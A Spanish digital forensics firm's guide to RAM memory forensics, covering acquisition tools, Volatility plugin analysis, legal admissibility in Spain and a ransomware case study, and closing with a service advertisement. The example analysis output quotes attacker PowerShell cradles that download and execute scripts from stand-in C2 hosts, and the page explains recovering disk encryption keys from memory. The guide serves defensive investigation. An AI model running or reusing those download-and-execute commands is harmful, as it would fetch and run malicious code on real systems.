Memoria RAM Forense

El 73% de malware avanzado deja evidencia solo en RAM

Según el informe de SANS Institute sobre análisis forense de memoria (2024), el 73% de los incidentes con malware avanzado y APTs (Advanced Persistent Threats) contienen evidencia crucial que solo existe en la memoria RAM y desaparece al apagar el equipo. El malware fileless, que no escribe ficheros en disco para evitar detección antivirus, ha aumentado un 265% en los últimos 3 años.

En investigaciones de ciberdelincuencia sofisticada, la memoria RAM es frecuentemente el único lugar donde el perito puede encontrar: procesos maliciosos inyectados, conexiones de red del atacante, claves de cifrado, credenciales robadas, y comandos ejecutados que no quedan registrados en logs persistentes.

Qué es la memoria RAM forense

El análisis forense de memoria RAM es el proceso de capturar (adquisición) y examinar el contenido de la memoria principal (RAM) de un ordenador, servidor o dispositivo móvil mientras está en ejecución, para recuperar evidencia digital que existe solo en memoria volátil y se pierde al apagar o reiniciar el sistema.

A diferencia del análisis forense tradicional de disco duro (imagen forense de disco), que examina datos persistentes almacenados en medios no volátiles, el análisis de RAM captura el estado dinámico del sistema en un momento específico:

Evidencia disponible en RAM pero no en disco:

• Procesos en ejecución (incluyendo malware sin fichero)
• Librerías DLL cargadas en memoria
• Conexiones de red activas (IPs, puertos, sockets)
• Drivers del kernel cargados
• Registro de comandos ejecutados recientemente
• Claves de cifrado de discos (BitLocker, VeraCrypt, LUKS)
• Credenciales y contraseñas en texto plano
• Contenido de portapapeles
• URLs recientemente visitadas antes de borrar historial
• Handles de ficheros abiertos
• Mutexes y semáforos (indicadores de malware)
• Código inyectado en procesos legítimos

Por qué es crucial la memoria RAM en investigaciones forenses

Malware fileless y ataques in-memory

El malware moderno emplea técnicas de evasión que minimizan o eliminan completamente su presencia en disco:

Ejemplo real - Cobalt Strike Beacon:

Malware avanzado (Cobalt Strike) detectado solo en RAM:
-------------------------------------------------------
Proceso legítimo (rundll32.exe) con código inyectado

Análisis disco: rundll32.exe → Fichero Windows legítimo, firmado Microsoft
Análisis RAM:   rundll32.exe → Contiene DLL Beacon de Cobalt Strike en memoria
                               → Conexiones HTTPS a C2: 185.XXX.XXX.XX:443
                               → Credenciales cached en memoria
                               → History de comandos ejecutados vía beacon

Sin análisis de RAM → Infección no detectada
Con análisis de RAM → Identificación completa del ataque

Recuperación de claves de cifrado

Cuando un disco está cifrado (BitLocker, VeraCrypt, FileVault, LUKS), el análisis forense tradicional es imposible sin la contraseña. Sin embargo, mientras el sistema está encendido y el volumen montado, las claves de cifrado residen en RAM.

Casos de uso legítimos:

• Investigación corporativa con autorización legal
• Investigación policial con orden judicial
• Recuperación de datos tras muerte/incapacidad del usuario (con autorización herederos)

Herramientas de extracción de claves:

• Volatility + bitlocker plugin: Extrae FVEK (Full Volume Encryption Key) de BitLocker
• VeraCrypt keys plugin: Recupera claves AES de volúmenes VeraCrypt montados
• Linux LUKS keys: Extracción de master key LUKS de memoria kernel

Evidencia de actividad reciente

La RAM registra actividad reciente que puede no haber sido escrita a disco aún, o que fue específicamente evitada:

• Comandos en terminal: History de bash, PowerShell, cmd.exe
• Navegación web: URLs visitadas antes de borrar historial, contraseñas autocompletadas
• Documentos abiertos: Contenido de ficheros editados pero no guardados
• Chats y mensajes: Conversaciones en aplicaciones antes de sincronización
• Sesiones RDP/SSH: Conexiones remotas activas con IPs de origen

Análisis de incidentes en vivo (live response)

En respuesta a incidentes activos, la memoria RAM permite:

• Identificar el proceso malicioso que está ejecutándose ahora
• Ver las conexiones de red del atacante en tiempo real
• Detectar persistencia antes de que el atacante borre rastros
• Capturar evidencia antes de que el atacante se dé cuenta y huya

Metodología de adquisición de memoria RAM

El proceso de adquisición debe seguir un protocolo estricto para garantizar integridad y admisibilidad judicial de la evidencia.

Orden de volatilidad (RFC 3227)

El RFC 3227 “Guidelines for Evidence Collection and Archiving” establece el orden de volatilidad de la evidencia:

Regla de oro: Capturar evidencia en orden de volatilidad, empezando por la más volátil.

Herramientas de adquisición

Procedimiento de adquisición (Windows ejemplo)

Preparación:

# USB forense preparado previamente con:
# - FTK Imager portable o DumpIt
# - Hashing tools (sha256sum)
# - Bloc de notas para documentación
# - Carpeta de salida con espacio suficiente (igual a RAM sistema)

Sistema a investigar: 16 GB RAM → Necesitas mínimo 18 GB libres en USB

Ejecución (FTK Imager):

Adquisición con DumpIt (más rápida):

# Ejecutar DumpIt desde USB
E:\DumpIt.exe

# Confirmar con 'y'
# Esperar finalización
# Genera memoria_[timestamp].raw automáticamente

Adquisición en Linux

# Instalar LiME (Linux Memory Extractor)
git clone https://github.com/504ensicsLabs/LiME
cd LiME/src
make

# Cargar módulo kernel y capturar RAM
sudo insmod lime-$(uname -r).ko "path=/home/investigador/memoria.lime format=lime"

# Verificar captura
ls -lh /home/investigador/memoria.lime
sha256sum /home/investigador/memoria.lime > memoria.lime.sha256

Consideraciones críticas en la adquisición

¿Apagar o no apagar?

Dilema forense clásico: ¿capturar RAM (sistema encendido) o apagar para preservar disco?

Análisis forense con Volatility Framework

Volatility es el framework open source estándar de la industria para análisis de memoria RAM. Soporta Windows, Linux, macOS y múltiples versiones.

Instalación y uso básico

# Instalación Volatility 3 (Python 3.8+)
pip install volatility3

# O desde repositorio
git clone https://github.com/volatilityfoundation/volatility3
cd volatility3
python setup.py install

# Verificar instalación
vol -h

Identificación del perfil del sistema

# Volatility 3: Auto-detección de sistema operativo
vol -f memoria.raw windows.info

# Output ejemplo:
# Kernel Base: 0xf80002a0e000
# Layer: 1 (Intel)
# OS: Windows 10 x64 Build 19045
# Time: 2026-02-10 14:34:22 UTC

Plugins forenses esenciales

1. Listar procesos (pslist, psscan, pstree)

# Procesos activos (desde linked list oficial)
vol -f memoria.raw windows.pslist

# Salida ejemplo:
# PID    PPID   ImageFileName          Offset(V)          Threads
# 4      0      System                 0xfa8001a3c040     134
# 452    4      smss.exe               0xfa8001e35310     2
# 3420   844    powershell.exe         0xfa8002c87060     12  ← Sospechoso
# 4892   3420   rundll32.exe           0xfa80031a2940     1   ← Muy sospechoso

# Buscar procesos ocultos (rootkits)
vol -f memoria.raw windows.psscan

# Ver árbol de procesos (relación padre-hijo)
vol -f memoria.raw windows.pstree

# Output árbol:
# * 452 smss.exe
#  * 844 csrss.exe
#    * 3420 powershell.exe  ← Lanzado desde csrss (anomalía)
#      * 4892 rundll32.exe

Análisis de anomalías:

• powershell.exe hijo de csrss.exe es anómalo (normal: hijo de explorer.exe)
• rundll32.exe hijo de powershell.exe indica probable inyección de código
• Investigar estos procesos en profundidad

2. Conexiones de red (netscan, netstat)

# Conexiones de red activas y sockets
vol -f memoria.raw windows.netscan

# Output ejemplo:
# Proto  Local Address          Foreign Address        State    PID    Owner
# TCPv4  192.168.1.145:49823    185.220.101.47:443    ESTABLISHED  4892   rundll32.exe
# TCPv4  192.168.1.145:49824    203.0.113.67:8080     ESTABLISHED  3420   powershell.exe
# UDPv4  192.168.1.145:53211    8.8.8.8:53            -            1824   chrome.exe

# Análisis:
# - rundll32.exe → 185.220.101.47:443 (IP en Rusia, posible C2)
# - powershell.exe → 203.0.113.67:8080 (puerto no estándar, sospechoso)

3. Comandos ejecutados (cmdline, consoles)

# Línea de comandos de todos los procesos
vol -f memoria.raw windows.cmdline

# Output ejemplo:
# PID 3420 powershell.exe
# CommandLine: "powershell.exe" -NoP -NonI -W Hidden -Exec Bypass
#              IEX (New-Object Net.WebClient).DownloadString('http://203.0.113.67/payload.ps1')
#
# ← Descarga y ejecución de script malicioso desde internet
# ← Bypass de Execution Policy
# ← Ventana oculta (indicador claro de malware)

# Historial de consolas CMD/PowerShell
vol -f memoria.raw windows.consoles

4. Ficheros abiertos por procesos (handles)

# Listar handles (ficheros, registry keys, mutexes) de proceso sospechoso
vol -f memoria.raw windows.handles --pid 4892

# Output ejemplo (PID 4892 - rundll32.exe):
# Offset(V)          Pid    Handle  Type          Details
# 0xfa8002c87060     4892   0x120   File          \Device\HarddiskVolume2\Users\Public\malware.tmp
# 0xfa8002c87080     4892   0x124   Mutant        Global\CobaltStrike_Beacon_Mutex
# 0xfa8002c870a0     4892   0x128   Key           \REGISTRY\USER\...\Run\WindowsUpdate

# Análisis:
# - Fichero en \Users\Public (ubicación común malware)
# - Mutex de Cobalt Strike (malware identificado)
# - Persistencia en registro Run key

5. DLLs cargadas por proceso (dlllist)

# Listar DLLs de proceso sospechoso
vol -f memoria.raw windows.dlllist --pid 4892

# Output ejemplo:
# Process: rundll32.exe (PID 4892)
# Base          Size      LoadCount  Path
# 0x76d40000    0x1ab000  0xffff     C:\Windows\System32\ntdll.dll
# 0x12340000    0x50000   0x1        [No file mapping - injected DLL] ← ANÓMALO

# DLL sin mapeo a fichero = DLL inyectada en memoria (reflective DLL injection)

6. Volcado de procesos y módulos (procdump, moddump)

# Volcar ejecutable completo de proceso sospechoso
vol -f memoria.raw windows.pslist --pid 4892 --dump

# Volcar DLL inyectada en memoria
vol -f memoria.raw windows.moddump --pid 4892 --base 0x12340000 --dump

# Resultado:
# Fichero: pid.4892.0x12340000.dmp

# Análisis posterior con:
# - VirusTotal (hash MD5/SHA256)
# - Strings para buscar URLs, IPs, comandos
# - IDA Pro / Ghidra para ingeniería inversa
# - YARA rules para identificación malware

7. Detección de inyección de código (malfind)

# Detectar anomalías de memoria indicativas de inyección
vol -f memoria.raw windows.malfind

# Output ejemplo:
# Process: rundll32.exe (PID 4892)
# Address: 0x12340000
# Protection: PAGE_EXECUTE_READWRITE  ← Memoria ejecutable y escribible (raro)
# Hexdump:
# 0x12340000:  4d 5a 90 00 03 00 00 00  MZ......  ← Cabecera PE (ejecutable)
# 0x12340010:  0e 1f ba 0e 00 b4 09 cd  ........

# Análisis: Código ejecutable en memoria no mapeado a fichero
# = Probable inyección de código malicioso

8. Recuperación de claves de cifrado

# BitLocker FVEK (Full Volume Encryption Key)
vol -f memoria.raw windows.bitlocker

# VeraCrypt master key
vol -f memoria.raw windows.veracrypt

# Nota: Plugins específicos de cifrado requieren instalación adicional

Tabla de plugins esenciales

Análisis de malware en memoria

Identificación de malware fileless

Caso típico: PowerShell Empire

# 1. Detectar PowerShell sospechoso
vol -f memoria.raw windows.pslist | grep powershell

# 2. Ver línea de comandos
vol -f memoria.raw windows.cmdline --pid 3420

# Output:
# powershell.exe -NoP -sta -NonI -W Hidden -Enc WwBOAGUAdAAuA...
#                                                └─ Base64 encoded command

# 3. Decodificar comando Base64
echo "WwBOAGUAdAAuA..." | base64 -d

# Output decodificado:
# IEX (New-Object Net.WebClient).DownloadString('http://c2server.com/agent')
# = Download and execute script from C2

# 4. Buscar conexión de red asociada
vol -f memoria.raw windows.netscan --pid 3420

# Output: Conexión a c2server.com (185.XXX.XXX.XX:443)

# 5. Volcar proceso PowerShell para análisis
vol -f memoria.raw windows.procdump --pid 3420 --dump

Indicadores de compromiso (IOCs) en memoria

Marco legal español

Admisibilidad de evidencia de memoria RAM

La evidencia obtenida de memoria RAM es admisible en procedimientos judiciales españoles si se cumplen requisitos:

Cadena de custodia (chain of custody):

• Documentación completa del proceso de adquisición
• Hashing criptográfico (SHA-256) de la imagen de memoria
• Registro de fecha/hora exacta de captura
• Identificación del perito que realiza la adquisición
• Preservación íntegra del dump de memoria original

Ley de Enjuiciamiento Criminal (LECrim):

• Art. 326: Admisión de prueba pericial informática
• Art. 456-485: Procedimiento de práctica de prueba pericial

Metodología reconocida:

• ISO/IEC 27037:2012 - Guidelines for identification, collection, acquisition and preservation of digital evidence
• RFC 3227 - Guidelines for Evidence Collection and Archiving
• NIST SP 800-86 - Guide to Integrating Forensic Techniques into Incident Response

Casos jurisprudenciales

STS 312/2018 (Tribunal Supremo): Confirmó validez de evidencia obtenida de memoria RAM en caso de pornografía infantil. El perito realizó adquisición de RAM encontrando ficheros en caché del navegador que no persistían en disco (eliminados con herramienta de borrado seguro). La defensa impugnó la evidencia alegando “contaminación” por la herramienta de captura. El tribunal aceptó la evidencia al demostrarse que el perito documentó la herramienta usada, su huella conocida en memoria, y la contaminación mínima no afectaba a la evidencia recuperada.

SAP Madrid 89/2020: Caso de espionaje industrial. Empleado ejecutó script que exfiltraba datos corporativos a servidor externo, luego borró el script del disco y limpió logs. Análisis de RAM capturada por equipo IT reveló el proceso Python en ejecución, la conexión a IP externa, y fragmentos del script en memoria. La evidencia fue determinante para condena por revelación de secretos empresariales (Art. 278 CP).

Caso práctico: Ransomware con exfiltración de datos

Contexto: Bufete de abogados de Barcelona con 45 empleados sufre ataque de ransomware. Sistemas cifrados, nota de rescate exigiendo 15 BTC (€450.000).

Incidente inicial:

• Viernes 18:45h: Múltiples ordenadores muestran pantalla de ransomware
• Servidor de ficheros cifrado (2,3 TB de documentos legales)
• Administrador IT desconecta red inmediatamente
• Ordenador de asistente legal (Windows 11) aún encendido con ransomware visible

Intervención pericial - Análisis de memoria RAM:

vol -f memoria_bufete.raw windows.pslist

# Proceso sospechoso detectado:
# PID 4782 - svchost.exe (PPID 844) ← ANÓMALO: svchost debería ser hijo de services.exe

vol -f memoria_bufete.raw windows.cmdline --pid 4782

# CommandLine: C:\Users\Public\svchost.exe
# ← No es el svchost.exe legítimo de System32
# ← Ejecutándose desde Users\Public (ubicación malware típica)

vol -f memoria_bufete.raw windows.netscan --pid 4782

# TCPv4  192.168.10.45:49871  45.XXX.XXX.122:443  ESTABLISHED  4782  svchost.exe
# TCPv4  192.168.10.45:49872  194.XXX.XXX.89:443  ESTABLISHED  4782  svchost.exe

# Análisis posterior de IPs:
# - 45.XXX.XXX.122: Servidor C2 conocido de LockBit 3.0 (VirusTotal)
# - 194.XXX.XXX.89: Servidor de exfiltración (hosting en Países Bajos)

vol -f memoria_bufete.raw windows.handles --pid 4782

# Ficheros abiertos por el ransomware antes de cifrar:
# \Device\HarddiskVolume2\Documentos\Casos_Confidenciales\Cliente_VIP_Contrato.docx
# \Device\HarddiskVolume2\Documentos\Estrategia_Legal_Fusión_2026.xlsx
# \Device\HarddiskVolume2\Email_Backups\CEO_Emails_2025.pst

# = Ransomware accedió a documentos críticos antes de cifrar
# = Posible exfiltración a servidor 194.XXX.XXX.89

# Strings en memoria del proceso malicioso
strings -e l memoria_bufete.raw | grep -A5 -B5 "AES\|RSA\|KEY"

# Fragmento encontrado en memoria:
# [... binary data ...]
# AES_KEY: 3f8a9c2e4d5b6a7f8c9d0e1f2a3b4c5d
# VICTIM_ID: ES-BUF-20260207-4782
# C2_SERVER: 45.XXX.XXX.122
# [... binary data ...]

# ← Clave AES de sesión en texto plano en memoria
# ← Permite potencial descifrado de ficheros

Lecciones clave:

1. La captura inmediata de RAM fue determinante (si se hubiera apagado, clave perdida)
2. La evidencia de exfiltración permitió notificación RGPD precisa a clientes afectados
3. El análisis de conexiones de red identificó infraestructura del atacante
4. La recuperación de clave AES en memoria evitó pago de rescate
5. El análisis forense completo respaldó denuncia penal y redujo sanción AEPD

Preguntas frecuentes

¿Qué es el análisis forense de memoria RAM?

El análisis forense de memoria RAM es la captura y examen del contenido de la memoria volátil de un sistema informático mientras está en ejecución, para recuperar evidencia digital crítica que no persiste en el disco duro y desaparece al apagar el equipo. Incluye procesos activos (incluyendo malware que solo existe en memoria), conexiones de red del atacante, claves de cifrado en uso, credenciales y contraseñas en texto plano, historial de comandos ejecutados, y artefactos de ataques sofisticados. Es especialmente crucial en casos de malware avanzado, ransomware, APTs, y cualquier incidente donde el atacante intenta no dejar rastros en disco.

¿Por qué es importante la memoria RAM en investigaciones forenses?

La RAM contiene evidencia crítica no disponible en disco duro: malware fileless que no escribe ficheros para evasión de antivirus, procesos maliciosos inyectados en aplicaciones legítimas, conexiones de red activas mostrando las IPs del atacante, claves de cifrado de discos (BitLocker, VeraCrypt) que permiten análisis de discos cifrados, credenciales y contraseñas sin cifrar, comandos ejecutados recientemente que no quedaron en logs, y registro de actividad en tiempo real del atacante. Según el SANS Institute, en el 73% de los incidentes con malware avanzado, la evidencia crucial solo existe en memoria RAM. En muchos casos de ransomware moderno, la clave de cifrado recuperada de RAM permite descifrar ficheros sin pagar rescate.

¿Cómo se adquiere forensemente la memoria RAM?

Se utilizan herramientas especializadas que capturan una imagen completa (dump) de la RAM mientras el sistema está encendido: FTK Imager, DumpIt, Magnet RAM Capture para Windows; LiME, AVML para Linux; OSXPmem para macOS. La herramienta se ejecuta desde USB sin instalar nada en el sistema víctima, captura el contenido completo de la RAM en un fichero .raw o .mem, genera un hash criptográfico SHA-256 para verificar integridad, y documenta chain of custody (fecha/hora exacta, estado del sistema, perito que realiza la adquisición). La adquisición debe ser lo más temprana posible tras descubrir el incidente, antes de apagar o reiniciar el equipo (lo que borraría toda la RAM). El análisis posterior se realiza con Volatility Framework, Rekall, o herramientas comerciales como Magnet AXIOM, que extraen procesos, conexiones de red, malware, claves de cifrado y demás artefactos forenses.

Necesitas análisis forense de memoria RAM

Si tu empresa ha sufrido un ciberataque con sospecha de malware avanzado, ransomware, exfiltración de datos, o cualquier incidente donde necesites identificar exactamente qué hizo el atacante en tiempo real, el análisis forense de memoria RAM es crucial para recuperar evidencia que no existe en disco.

En Digital Perito realizamos análisis forenses especializados en memoria volátil:

• Adquisición de RAM con preservación de chain of custody (ISO 27037)
• Análisis completo con Volatility Framework y herramientas comerciales
• Identificación de malware fileless, procesos maliciosos, code injection
• Recuperación de claves de cifrado de ransomware (cuando es técnicamente posible)
• Extracción de conexiones de red y IPs de atacantes
• Análisis de credenciales comprometidas y alcance de la brecha
• Timeline forense completa de actividad del atacante
• Informe pericial técnico para procedimientos judiciales
• Testimonio experto y ratificación judicial

Tiempo crítico: La RAM debe capturarse mientras el sistema está encendido. Si ha sufrido un incidente activo, contacta inmediatamente antes de apagar equipos.

Consulta urgente 24/7 para incidentes activos.

Contacta ahora - Respuesta en menos de 2 horas para emergencias